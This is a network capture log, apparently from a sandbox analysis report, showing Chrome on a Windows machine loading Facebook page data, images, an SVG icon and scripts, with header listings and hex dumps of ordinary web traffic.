2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 66 69 6c 65 50 6c 75 73 45 6e 74 69 74 79 4d 65 6e 75 22 3a 66 61 6c 73 65 7d 2c 22 65 6e 74 72 79 50 6f 69 6e 74 22 3a 7b 22 5f 5f 64 72 22 3a 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 43 6f 6c 6c 65 63 74 69 6f 6e 52 6f 75 74 65 52 6f 6f 74 2e 65 6e 74 72 79 70 6f 69 6e 74 22 7d 7d 2c 22 70 72 6f 64 75 63 74 41 74 74 72 69 62 75 74 69 6f 6e 49 64 22 3a 22 32 35 30 31 30 30 38 36 35 37 30 38 35 34 35 22 2c 22 75 70 73 65 6c 6c 43 6f 6e 66 69 67 22 3a 7b 22 73 75 72 66 61 63 65 22 3a 22 70 72 6f 66 69 6c 65 22 2c 22 74 79 70 65 22 3a 22 6c 6f 67 69 6e 5f 75 70 73 65 6c 6c 22 2c 22 69 73 44 69 73 6d 69 73 73 69 62 6c 65 22 3a 74 72 75 65 2c 22 64 65 62 75 67 53 65 72 76 65 72 55 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 Data Ascii: filePlusEntityMenu":false},"entryPoint":{"__dr":"ProfileCometCollectionRouteRoot.entrypoint"}},"productAttributionId":"250100865708545","upsellConfig":{"surface":"profile","type":"login_upsell","isDismissible":true,"debugServerUri":"https://www.facebook.c
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 6f 73 2f 22 7d 5d 7d 7d 2c 22 2f 70 68 6f 74 6f 2f 3f 66 62 69 64 3d 32 38 34 37 31 32 33 34 39 37 32 30 33 39 32 26 73 65 74 3d 65 63 6e 66 2e 31 30 30 30 34 35 34 34 38 38 37 38 35 38 30 22 3a 7b 22 65 72 72 6f 72 22 3a 66 61 6c 73 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 74 79 70 65 22 3a 22 72 6f 75 74 65 5f 64 65 66 69 6e 69 74 69 6f 6e 22 2c 22 65 78 70 6f 72 74 73 22 3a 7b 22 61 63 74 6f 72 49 44 22 3a 22 30 22 2c 22 72 6f 6f 74 56 69 65 77 22 3a 7b 22 61 6c 6c 52 65 73 6f 75 72 63 65 73 22 3a 5b 7b 22 5f 5f 6a 73 72 22 3a 22 43 6f 6d 65 74 50 68 6f 74 6f 52 6f 6f 74 2e 72 65 61 63 74 22 7d 2c 7b 22 5f 5f 6a 73 72 22 3a 22 43 6f 6d 65 74 50 68 6f 74 6f 52 6f 6f 74 2e 65 6e 74 72 79 70 6f 69 6e 74 22 7d 5d 2c 22 72 65 73 6f 75 72 63 65 22 3a 7b 22 5f Data Ascii: os/"}]}},"/photo/?fbid=284712349720392&set=ecnf.100045448878580":{"error":false,"result":{"type":"route_definition","exports":{"actorID":"0","rootView":{"allResources":[{"__jsr":"CometPhotoRoot.react"},{"__jsr":"CometPhotoRoot.entrypoint"}],"resource":{"_
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 70 61 74 68 22 3a 66 61 6c 73 65 2c 22 73 69 67 6e 69 66 69 63 61 6e 74 22 3a 66 61 6c 73 65 2c 22 63 6f 65 72 63 69 62 6c 65 54 79 70 65 22 3a 22 53 54 52 49 4e 47 22 7d 2c 22 69 64 6f 72 76 61 6e 69 74 79 22 3a 7b 22 6c 65 67 61 63 79 4e 61 6d 65 73 22 3a 5b 5d 2c 22 64 65 66 61 75 6c 74 22 3a 6e 75 6c 6c 2c 22 70 61 74 68 22 3a 66 61 6c 73 65 2c 22 73 69 67 6e 69 66 69 63 61 6e 74 22 3a 74 72 75 65 2c 22 63 6f 65 72 63 69 62 6c 65 54 79 70 65 22 3a 22 53 54 52 49 4e 47 22 7d 2c 22 63 6f 6d 6d 65 6e 74 5f 69 64 22 3a 7b 22 6c 65 67 61 63 79 4e 61 6d 65 73 22 3a 5b 5d 2c 22 64 65 66 61 75 6c 74 22 3a 6e 75 6c 6c 2c 22 70 61 74 68 22 3a 66 61 6c 73 65 2c 22 73 69 67 6e 69 66 69 63 61 6e 74 22 3a 66 61 6c 73 65 2c 22 63 6f 65 72 63 69 62 6c 65 54 79 70 65 Data Ascii: path":false,"significant":false,"coercibleType":"STRING"},"idorvanity":{"legacyNames":[],"default":null,"path":false,"significant":true,"coercibleType":"STRING"},"comment_id":{"legacyNames":[],"default":null,"path":false,"significant":false,"coercibleType
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 22 2c 22 75 70 73 65 6c 6c 43 6f 6e 66 69 67 22 3a 7b 22 73 75 72 66 61 63 65 22 3a 22 70 68 6f 74 6f 73 22 2c 22 74 79 70 65 22 3a 22 6c 6f 67 69 6e 5f 75 70 73 65 6c 6c 22 2c 22 69 73 44 69 73 6d 69 73 73 69 62 6c 65 22 3a 74 72 75 65 2c 22 64 65 62 75 67 53 65 72 76 65 72 55 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 61 6a 61 78 2f 62 75 6c 6b 2d 72 6f 75 74 65 2d 64 65 66 69 6e 69 74 69 6f 6e 73 2f 22 7d 2c 22 63 61 6e 6f 6e 69 63 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 22 72 6f 75 74 65 5f 6d 61 74 63 68 5f 69 6e 66 6f 73 22 3a 5b 7b 22 69 6e 73 74 61 6e 63 65 50 61 72 61 6d 73 22 3a 7b 22 66 62 69 64 22 3a 22 32 36 35 30 34 35 37 35 31 36 38 37 30 35 32 22 2c 22 73 65 74 22 3a 22 65 63 6e 66 2e 31 30 30 Data Ascii: ","upsellConfig":{"surface":"photos","type":"login_upsell","isDismissible":true,"debugServerUri":"https://www.facebook.com/ajax/bulk-route-definitions/"},"canonicalUrl":null},"route_match_infos":[{"instanceParams":{"fbid":"265045751687052","set":"ecnf.100
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 61 6e 74 22 2c 22 76 61 6c 75 65 22 3a 22 70 68 6f 74 6f 73 22 7d 2c 22 65 6e 74 69 74 79 5f 69 64 22 3a 7b 22 73 6f 75 72 63 65 22 3a 22 70 61 72 61 6d 22 2c 22 76 61 6c 75 65 22 3a 22 66 62 69 64 22 7d 2c 22 70 61 72 65 6e 74 5f 63 6f 6e 74 61 69 6e 65 72 5f 69 64 22 3a 7b 22 73 6f 75 72 63 65 22 3a 22 70 61 72 61 6d 22 2c 22 76 61 6c 75 65 22 3a 22 73 65 74 22 7d 7d 2c 22 68 6f 73 74 61 62 6c 65 56 69 65 77 22 3a 7b 22 61 6c 6c 52 65 73 6f 75 72 63 65 73 22 3a 5b 7b 22 5f 5f 6a 73 72 22 3a 22 43 6f 6d 65 74 50 68 6f 74 6f 50 65 72 6d 61 6c 69 6e 6b 52 6f 6f 74 2e 72 65 61 63 74 22 7d 2c 7b 22 5f 5f 6a 73 72 22 3a 22 43 6f 6d 65 74 50 68 6f 74 6f 50 65 72 6d 61 6c 69 6e 6b 52 6f 6f 74 2e 65 6e 74 72 79 70 6f 69 6e 74 22 7d 5d 2c 22 72 65 73 6f 75 72 63 Data Ascii: ant","value":"photos"},"entity_id":{"source":"param","value":"fbid"},"parent_container_id":{"source":"param","value":"set"}},"hostableView":{"allResources":[{"__jsr":"CometPhotoPermalinkRoot.react"},{"__jsr":"CometPhotoPermalinkRoot.entrypoint"}],"resourc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	49949	31.13.71.7	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:33 UTC	843	OUT	GET /v/t39.30808-6/434161336_977196363805317_3012880170289960724_n.jpg?stp=c0.18.160.160a_dst-jpg_p160x160&_nc_cat=111&ccb=1-7&_nc_sid=5f2048&_nc_ohc=I0NuKevVTXQAb5yPj7c&_nc_ht=scontent-lga3-1.xx&oh=00_AfAh0a3xH4hlU6TTz-tR9rSYzwF_YARPmY2g-UbmV8Cp3Q&oe=661E3419 HTTP/1.1 Host: scontent-lga3-1.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:33 UTC	785	IN	HTTP/1.1 200 OK x-storage-error-category: dfs:none;sc_p:200:WSE_NOT_SET Last-Modified: Mon, 01 Apr 2024 18:24:17 GMT X-Needle-Checksum: 3221538898 thrift_fmhk: GBADxIMk1SNP2vIHiSgrv1CDFfDr4Z0EvFUAAAA= Content-Type: image/jpeg content-digest: adler32=1981639349 cross-origin-resource-policy: cross-origin timing-allow-origin: * Access-Control-Allow-Origin: * Cache-Control: max-age=1209600, no-transform Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:33 GMT X-FB-Edge-Debug: 7GiNpJzIrNE4EA4XPWjvfgYDTza3drZRP_ZWoCpd4MUXR7v2C7XkxOhJSoXWcyqG93wczXA1NWt5ld8kXCmdX9i-MpkzhI02IYDWXoWA2ys X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=14, mss=1277, tbw=3413, tp=-1, tpl=-1, uplat=74, ullat=0 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 9582
2024-04-11 20:35:33 UTC	715	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff ed 00 84 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 68 1c 02 28 00 62 46 42 4d 44 30 61 30 30 30 61 36 66 30 31 30 30 30 30 37 36 30 33 30 30 30 30 39 36 30 37 30 30 30 30 37 33 30 38 30 30 30 30 36 63 30 39 30 30 30 30 62 34 30 65 30 30 30 30 30 34 31 36 30 30 30 30 38 32 31 36 30 30 30 30 37 66 31 37 30 30 30 30 36 66 31 38 30 30 30 30 36 65 32 35 30 30 30 30 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 Data Ascii: JFIFPhotoshop 3.08BIMh(bFBMD0a000a6f0100007603000096070000730800006c090000b40e000004160000821600007f1700006f1800006e250000C%# , #&')*)-0-(0%()(C((((((((((((((
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 17 dd cd 22 b6 ce 6d 06 f3 35 a5 9e 85 d9 bd 1d e6 f9 7d 0c 28 a2 69 94 5e 1b 62 58 97 40 a7 3d 29 3c 0b 54 bc 56 c2 33 6c dd 5a e1 99 32 6b bd 06 0c be 7c e0 c5 d5 0f 4a ca 1a 2b af 33 00 d1 2d a9 20 7b 45 69 19 d0 9b bc 94 35 d3 3f 3b 48 f1 61 12 b7 c7 ea d1 fe 36 83 18 fd de 93 3e 12 b3 ae 5e c6 d3 e8 79 6d 2d 98 20 32 1d 5f ec bc 93 df f9 51 66 3d 3b ce de 59 69 93 5c 2c c6 49 6f 54 ff c4 00 27 10 00 02 02 02 02 02 01 04 02 03 00 00 00 00 00 00 01 02 03 04 00 12 05 11 13 21 22 14 23 31 32 10 41 06 15 24 ff da 00 08 01 01 00 01 05 02 2c 73 f2 63 f5 92 0d db e2 b8 46 af e7 00 bb af 42 e7 65 6e ae 7d b6 8c 83 9e 97 0b 8c f3 a6 33 0d 8b 26 3b c9 aa 99 49 66 c3 63 7c 33 36 23 1d 5d be 29 ae 06 70 ac 0f 57 a7 da 48 64 ed 6e 9d 22 e3 ed 78 26 f2 6d 9e 63 d3 Data Ascii: "m5}(i^bX@=)<TV3lZ2k\|J+3- {Ei5?;Ha6>^ym- 2_Qf=;Yi\,IoT'!"#12A$,scFBen}3&;Ifc\|36#])pWHdn"x&mc
2024-04-11 20:35:33 UTC	1789	IN	Data Raw: e1 fb 22 9b 74 87 e3 fc 9f 68 93 c0 e1 fc 8a a1 d1 15 7e 8a a5 42 5f 87 f8 34 25 47 8d d5 a3 2c 77 8d 0d 18 b1 6f 22 31 51 54 8c 99 35 93 4c dd 48 93 ec 52 e3 13 fb 13 74 87 d1 e3 cb 56 6e 79 3e ec 87 45 0a df a2 36 99 85 ed 3e 8c d2 ae 86 ec 57 21 74 3e fd 9a c4 9f b3 16 3b 49 23 36 09 40 f1 d6 b1 b1 cf 67 63 47 a3 e4 62 cd fd 8a 71 64 bb 22 e7 89 dc 4c be 4e 4c be cd 6b 19 45 96 34 35 47 66 3b ae c6 28 a8 f6 4f 23 d6 b8 a3 ff c4 00 34 10 00 01 03 02 05 02 04 06 01 02 07 00 00 00 00 00 01 00 02 11 12 21 03 22 31 41 61 51 71 10 13 32 81 04 23 42 52 91 a1 62 20 33 72 82 92 b1 c1 d1 e1 ff da 00 08 01 01 00 06 3f 02 fa 38 95 98 9e 0c ab 1b 95 26 00 ee 80 7b a4 a9 14 9e a2 21 11 4d 90 30 d6 8e a5 1a 1a 1d 7f 52 05 e2 dd 61 0a 1a c1 cc ca 8c c5 1b 5f 95 99 b1 Data Ascii: "th~B_4%G,wo"1QT5LHRtVny>E6>W!t>;I#6@gcGbqd"LNLkE45Gf;(O#4!"1AaQq2#BRb 3r?8&{!M0Ra_
2024-04-11 20:35:33 UTC	4064	IN	Data Raw: ff 00 e2 51 56 90 b3 5f 58 64 37 a6 6c 41 0b 4c db a9 b7 25 f4 63 02 6b 2d 2a f0 37 88 c5 5f 8e 1a 8e 4a 2b 58 d5 79 99 c4 0f 55 03 53 16 87 fe e6 f0 d1 32 f2 42 f1 41 8b 52 f3 38 cb 4d 11 9c 85 bd 6e e5 ec c7 65 64 a9 5f 89 98 7e 7d 4c ba 49 5d 8f 72 8e 91 94 4c 97 6b e8 ac 11 9e 5e 1a e6 37 28 b4 a4 b8 48 5d 89 dc b9 9b 1b 6e 3e 3e 62 c0 b4 e6 b7 ff 00 26 e3 47 be 6b 92 11 41 15 a8 6d 28 d9 af 5e 7a 8e 42 dc 70 ab ae a5 29 46 b3 92 68 19 5f 25 9c cb b0 d0 b4 8f ee 30 85 0e 8b f3 2a 36 bc 70 41 ca 97 9d 31 88 b9 75 43 76 ea 34 0d 46 9f b4 a0 6c 85 de 66 1a 66 8c fc cc 60 99 31 5b e6 a3 3c 02 25 67 d4 25 90 a0 22 c5 a2 85 65 30 35 ec 7f 20 1e e1 01 02 d7 73 3a c7 98 6b 67 02 d5 3e 48 1c b5 0f 2f 7f 2c e4 2a c3 04 7f 57 1b fb be 61 10 91 95 fd d4 42 0d f0 Data Ascii: QV_Xd7lAL%ck-7_J+XyUS2BAR8Mned_~}LI]rLk^7(H]n>>b&GkAm(^zBp)Fh_%06pA1uCv4Flff`1[<%g%"e05 s:kg>H/,*WaB
2024-04-11 20:35:33 UTC	1514	IN	Data Raw: 00 f2 e0 57 69 60 f9 7e 7f 4e bd a0 08 48 a6 df 4c 7c 1a c2 98 43 ec 6b 15 64 89 03 c6 2c 1c 3b c4 32 20 e1 54 4a 17 d6 fe b3 6e f9 ba 21 79 3d 5f 06 cd f2 eb 1e 9e 22 c2 2d 37 1e 18 28 75 72 f0 66 a4 ba 52 c0 a2 6b 6e bf 3a 8e 22 79 df 07 c7 73 ce 58 a6 7b c4 ad ba 7a c2 48 b3 84 bb 62 fc df de 12 98 22 0f 52 06 7d 62 c2 02 02 04 79 d0 1c 69 cd 50 c1 0e a8 81 f9 1c 4d ad 94 a9 c3 80 f8 2f 3c bc 18 e4 73 09 b4 f4 af d4 21 ef 1f a5 97 68 75 74 c0 89 60 0e 84 37 05 d2 ea f7 ac 31 24 0d c1 3b 7c eb c7 1f ce 2c 0a 6e f2 d7 34 cd 4e 12 b4 2f bc 2c 36 30 5e ec 7f 8c 06 ba ba f5 94 5a 4b 8b 00 aa 7d 6b ef 20 8c 2d 28 84 3c 36 3f 5d 62 c0 92 6c 08 36 83 9d f7 2f 4e b0 51 92 0e d5 0c 09 bd 7f c9 8d 8a 90 37 79 26 4a a1 73 5d 7e 70 50 8d f7 85 8c a9 fc 6f f9 c8 74 Data Ascii: Wi`~NHL\|Ckd,;2 TJn!y=_"-7(urfRkn:"ysX{zHb"R}byiPM/<s!hut`71$;\|,n4N/,60^ZK}k -(<6?]bl6/NQ7y&Js]~pPot

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	49947	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:33 UTC	608	OUT	GET /rsrc.php/yu/r/Ddk-AuWE7VS.svg HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:33 UTC	1635	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: image/svg+xml Access-Control-Allow-Origin: * Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: 1DGM0xlVqfJFGfRzBEZk+Q== Expires: Sun, 06 Apr 2025 12:25:59 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} X-FB-Debug: agDl+4UEu9ocuggFvvGNVDeX0CiMtMkmUZa04vncTAIOzCHAIRVWGnPsScHhQoc/8Jyl958/ZuxPAnRRpRf1ew== Date: Thu, 11 Apr 2024 20:35:33 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=14, mss=1277, tbw=3411, tp=-1, tpl=-1, uplat=2, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 2581
2024-04-11 20:35:33 UTC	1	IN	Data Raw: 3c Data Ascii: <
2024-04-11 20:35:33 UTC	2580	IN	Data Raw: 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 31 32 20 31 31 32 22 3e 0a 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 3c 63 6c 69 70 50 61 74 68 20 69 64 3d 22 63 6c 69 70 2d 70 61 74 68 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 22 20 64 3d 22 4d 31 30 37 2e 31 32 20 39 30 2e 34 32 61 31 32 2e 37 37 20 31 32 2e 37 37 20 30 20 30 31 2d 31 37 2e 38 32 20 32 2e 39 33 4c 34 31 2e 32 20 35 38 2e 38 32 6c 31 34 2e 38 39 2d 32 30 2e 37 35 20 34 38 2e 31 20 33 34 2e 35 33 61 31 32 2e 37 37 20 31 32 2e 37 37 20 30 20 30 31 32 2e 39 33 20 31 37 2e 38 32 7a 22 2f 3e 0a 20 20 20 20 3c 2f 63 6c 69 70 50 61 74 68 3e 0a 20 20 Data Ascii: svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 112 112"> <defs> <clipPath id="clip-path"> <path class="cls-1" d="M107.12 90.42a12.77 12.77 0 01-17.82 2.93L41.2 58.82l14.89-20.75 48.1 34.53a12.77 12.77 0 012.93 17.82z"/> </clipPath>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	49946	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:33 UTC	2066	OUT	GET /ajax/bootloader-endpoint/?modules=CometTooltip_DEPRECATED.react&__aaid=0&__user=0&__a=1&__req=5&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&dpr=1&__ccg=GOOD&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__hsi=7356710875980239076&__dyn=7xeUmwlEnwn8yEqxemh0cm5U4e2O14xt3odEc8co5S3O2Saw8i2S1DwUx609vCwjE1xo4CU7m0yE462mcwfG12wOx61vw9m1YwBgao6C0Mo2swlo5qfK0zEkxe2Gewywuo88brwKxm5oe85nxS3W0GpovU11E98bodEGdwda3e0Lo4q58jwTwNwLwFg2Xwkoqwqo4eE7W1iwGwRxW&__csr=gqMD4nNdiNlb4GSPmIx9QWXheQniJ6jAgGKmHjiV9kAAnrGtBiA-JVpaAVrJ7FA8-WF4KhkFFAimieypmGh9E-ivGUhyQLmdCCK48rGEC9WiBykFqJkpHmHCXpCKUsiyoV1eiegx7GcDyUkJ6Gaye5lBy8Z3E_Gh2fjKh5UjGqU8axWcgkxeaKtGmbwKVUK4EixKUCifwJG7981_U39w15Gjwn81xolxy1lw4nwf60e3w2jo1Io0no809pw5ew2V61Cw7Ew9C0ACEmgoP027o0Hu9w1JWh02t2a5Eow3uyw1fYOxlhRIcw0XOo0_Pxnwg808e80ghw1Bh0o819819o2Ky8622oMW0RU2Fyo2u4a9g1I8W0hp04Hg20J0da3u1kw4jwQy8-EmwyAo1iu1nwo86O1cxl1Gm0s90rQ3y1mxyaz4BV9C0bkg12E1bUoU11wFg1jU5C13wrVj91G6C1OwrU13oGm0u-0Rrwmqo8S0N8ypoF28qgL8ES3a9zp2w7eweG3G6E1bo2zx50Qwip3hshjAixWm3x0DgdYynhR2Ey3q14wsu3e1PwCG5pS0yojwfSpw9W9gOkzLb4xy9zu0Aokxd0ww820eVwfq07_o0Le5FSdwaK0k6kw1sotw8-0XEy3edDw2MUy3K0QUaoHJiZe2mEGtP0Fxu8xu1Vwo81co6qtxy9gO8zU2Dg3e82m3e32660QHf4G5l5oAc0tE2Dwt837w77wLjA8q74uaUAOojwbG04cE0y8wC09M8&__comet_req=15&__spin_r=1012711792&__spin_b=trunk&__spin_t=1712867728 HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 viewport-width: 1280 sec-ch-ua-platform-version: "10.0.0" dpr: 1 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-model: "" sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.facebook.com/bfjfinancial/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:33 UTC	965	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: text/javascript; charset=utf-8 reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/comet_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:35:33 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:33 UTC	1507	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri
2024-04-11 20:35:33 UTC	125	IN	Data Raw: 33 36 39 39 0d 0a 66 6f 72 20 28 3b 3b 29 3b 7b 22 68 72 70 22 3a 7b 22 68 73 72 70 22 3a 7b 22 68 73 64 70 22 3a 7b 22 63 6c 70 44 61 74 61 22 3a 7b 22 31 38 32 38 39 34 35 22 3a 7b 22 72 22 3a 31 30 30 2c 22 73 22 3a 31 7d 2c 22 31 38 33 38 31 34 32 22 3a 7b 22 72 22 3a 31 2c 22 73 22 3a 31 7d 2c 22 31 37 34 34 31 37 38 22 3a 7b 22 72 22 3a 31 2c 22 73 22 3a 31 7d 2c 22 Data Ascii: 3699for (;;);{"hrp":{"hsrp":{"hsdp":{"clpData":{"1828945":{"r":100,"s":1},"1838142":{"r":1,"s":1},"1744178":{"r":1,"s":1},"
